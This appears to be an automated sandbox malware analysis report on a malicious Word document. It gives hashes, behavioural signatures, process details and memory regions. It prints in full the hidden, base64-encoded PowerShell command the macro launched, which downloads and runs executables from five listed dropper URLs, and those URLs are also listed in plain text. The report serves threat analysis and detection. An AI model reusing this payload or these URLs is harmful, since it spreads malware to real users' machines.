Analysis

  • max time kernel
    53s
  • max time network
    31s
  • platform
    windows7_x64
  • resource
    win7-20241023-en
  • resource tags

    arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
  • submitted
    13-11-2024 21:38

General

  • Target

    d3ebe968395a78f86e7627e0fac811f0853db0c2159cee8de6dc936c6f7cfbe0.doc

  • Size

    213KB

  • MD5

    92e48f2336dad34e7cb00ce1af283636

  • SHA1

    0567255fdc6daacd940fe5d90c23ccbb137c2e7a

  • SHA256

    d3ebe968395a78f86e7627e0fac811f0853db0c2159cee8de6dc936c6f7cfbe0

  • SHA512

    85fcec6d1e1ea85a26f3dd80b43093335cc0834f4f513cc2230bfb19a3fb9e924c3a98cb881ae0644234eeebba0db0653912a6aea6e73d0258adba7230d09607

  • SSDEEP

    6144:En22k4WtGiL3HJk9dD7bgE2DEWv+wZIF7L:42/Qitkj7bhD7L

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\d3ebe968395a78f86e7627e0fac811f0853db0c2159cee8de6dc936c6f7cfbe0.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2396
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2624
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2980

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\DF4D3AB8.wmf

      Filesize

      444B

      MD5

      83b382550117d2fc236fe56dd200d49b

      SHA1

      291346ad95ff191e593d748c9cee49c4c15400bf

      SHA256

      2dd3b1a0b63aef7524c8ba232bf7206a7aaa7ab3adb2060ea9d1cb631b164093

      SHA512

      5238f55df3a30f7db46c367bbf4ba1ccc5d8f3fe1eafe09017ddf9af0c67450fc774415b32b806f62856bfbb04facebaf3bd7408562268f91bf63f13729a5704

    • memory/2396-19-0x0000000000830000-0x0000000000930000-memory.dmp

      Filesize

      1024KB

    • memory/2396-5-0x0000000005B90000-0x0000000005C90000-memory.dmp

      Filesize

      1024KB

    • memory/2396-15-0x0000000000830000-0x0000000000930000-memory.dmp

      Filesize

      1024KB

    • memory/2396-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2396-13-0x0000000000830000-0x0000000000930000-memory.dmp

      Filesize

      1024KB

    • memory/2396-12-0x0000000000830000-0x0000000000930000-memory.dmp

      Filesize

      1024KB

    • memory/2396-14-0x0000000000830000-0x0000000000930000-memory.dmp

      Filesize

      1024KB

    • memory/2396-17-0x0000000000830000-0x0000000000930000-memory.dmp

      Filesize

      1024KB

    • memory/2396-21-0x0000000000830000-0x0000000000930000-memory.dmp

      Filesize

      1024KB

    • memory/2396-0-0x000000002FA11000-0x000000002FA12000-memory.dmp

      Filesize

      4KB

    • memory/2396-38-0x0000000000830000-0x0000000000930000-memory.dmp

      Filesize

      1024KB

    • memory/2396-2-0x00000000718FD000-0x0000000071908000-memory.dmp

      Filesize

      44KB

    • memory/2396-18-0x0000000000830000-0x0000000000930000-memory.dmp

      Filesize

      1024KB

    • memory/2396-22-0x0000000000830000-0x0000000000930000-memory.dmp

      Filesize

      1024KB

    • memory/2396-25-0x0000000000830000-0x0000000000930000-memory.dmp

      Filesize

      1024KB

    • memory/2396-24-0x0000000000830000-0x0000000000930000-memory.dmp

      Filesize

      1024KB

    • memory/2396-16-0x0000000000830000-0x0000000000930000-memory.dmp

      Filesize

      1024KB

    • memory/2396-37-0x0000000000830000-0x0000000000930000-memory.dmp

      Filesize

      1024KB

    • memory/2396-35-0x00000000718FD000-0x0000000071908000-memory.dmp

      Filesize

      44KB

    • memory/2396-36-0x0000000005B90000-0x0000000005C90000-memory.dmp

      Filesize

      1024KB

    • memory/2980-32-0x0000000001E10000-0x0000000001E18000-memory.dmp

      Filesize

      32KB

    • memory/2980-31-0x000000001B720000-0x000000001BA02000-memory.dmp

      Filesize

      2.9MB